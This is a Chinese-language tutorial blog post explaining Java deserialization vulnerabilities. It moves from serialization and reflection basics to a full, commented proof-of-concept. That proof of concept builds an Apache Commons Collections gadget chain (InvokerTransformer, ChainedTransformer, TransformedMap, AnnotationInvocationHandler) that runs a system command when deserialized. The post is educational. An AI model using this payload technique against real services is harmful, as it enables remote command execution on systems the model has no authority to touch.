java 反序列化漏洞简介

技术2022-07-11 133

一、Java的序列化与反序列化

二、对java序列化的理解

三、反序列化的漏洞原理概述

四、关于反射链

一、Java的序列化与反序列化

在这里我们直接自己定义一个类，然后对这个类的对象（一个实例）进行序列化和发序列化测试。

//引入必要的java包文件 import java.io.*; //创建测试类，注意要继承Serializable接口 class serialdemo implements Serializable{ public static int number; public serialdemo(int inputnum) { this.number = inputnum; } } //主类 public class test{ //测试主类 public static void main(String[] args) throws IOException, ClassNotFoundException { //主函数入口 serialdemo object = new serialdemo(100); FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象 outputstream.writeObject(object);//把类对象（实例）序列化进入文件 outputstream.close(); FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化 // 通过反序列化恢复对象obj serialdemo object2 = (serialdemo)inputstream.readObject(); System.out.println("反序列化后的对象的值："); System.out.println(object2.number); inputstream.close(); } }

既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：

└─[$]> java test 反序列化后的对象的值： 100

二、对java序列化的理解

1、api定位：

java.io.ObjectOutputStream -> writeObject() java.io.ObjectInputStream -> readObject() 序列化把对象序列化成字节流反序列化读取字节流反序列化对象

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制：

在java运行状态中 1.对于任何一个类，都能判断对象所属的类； 2.对于任何一个类，都能获取其所有的属性和方法； 3.对于任何一个对象，都能调用任意一个方法和属性；

三、反序列化的漏洞原理概述

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令：

//命令执行函数 public void test() throws IOException, InterruptedException { Process process = Runtime.getRuntime().exec("whoami"); InputStream inputstream = process.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream)); process.waitFor(); if (process.exitValue() != 0) { //说明命令执行失败 //可以进入到错误处理步骤中 } //打印输出信息 String s = null; while ((s = reader.readLine()) != null) { System.out.println(s); } }

简介：

Runtime.getRuntime().exec("command_string");

回显呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西，现在我们来看看接口源代码：

我们来理一理这一段：

开始：

可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

public class InvokerTransformer implements Transformer, Serializable { ... /* Input参数为要进行反射的对象， iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 iArgs为对应方法的参数在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数 */ public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }

只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

五、poc原理分析：

参考大牛博客，给出一个原理解释知识点

ConstantTransformer 把一个对象转化为常量，并返回。

InvokerTransformer 通过反射，返回一个对象

ChainedTransformer ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：

1、java反序列化可以远程执行命令。 2、java执行命令用到Runtime.getRuntime().exec("whoami"); 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。 4、ConstantTransformer可以把对象转换为常量返回。 5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行

POC的思路：

1）首先构造一个Map和一个能够执行代码的ChainedTransformer， 2）生成一个TransformedMap实例 3）实例化AnnotationInvocationHandler，并对其进行序列化， 4）当触发readObject()反序列化的时候，就能实现命令执行。 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发

分析大牛poc核心代码逻辑：

/* 核心逻辑表达式： ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 主函数中： 1、定义一个要执行的命令字符串：String commandstring = "whoami"; 2、定义一个执行逻辑： Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) } 3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)： Transformer transformedChain = new ChainedTransformer(transformers); 4、后面是关于不关心的东西，写死即可： Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello", "hello"); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); */ //引入必要的java包文件 import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; //引入第三方包文件，也就是关于apache的那几个包 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; //主类 public class POC_Test{ public static void main(String[] args) throws Exception { //定义待执行的命令: String commandstring = "whoami"; //定义一个反射链，确定预定的转化逻辑 /* 定义一个反射链的方法： Transformer[] varitename = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) } */ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), /* 由于Method类的invoke(Object obj,Object args[])方法的定义所以在反射内写new Class[] {Object.class, Object[].class } 正常POC流程举例： ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); */ new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class,Object[].class }, new Object[] {null, null } ), new InvokerTransformer( "exec", new Class[] {String[].class }, new Object[] { commandstring } //new Object[] { execArgs } ) }; //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作 Transformer transformedChain = new ChainedTransformer(transformers); //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict //Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello", "hello"); //Map数据结构，转换后的Map /* TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。第一个参数为待转化的Map对象第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）第三个参数为Map对象内的value要经过的转化方法。 */ //TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); } } /* 思路:构建BeforeTransformerMap的键值对，为其赋值，利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme 对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() */

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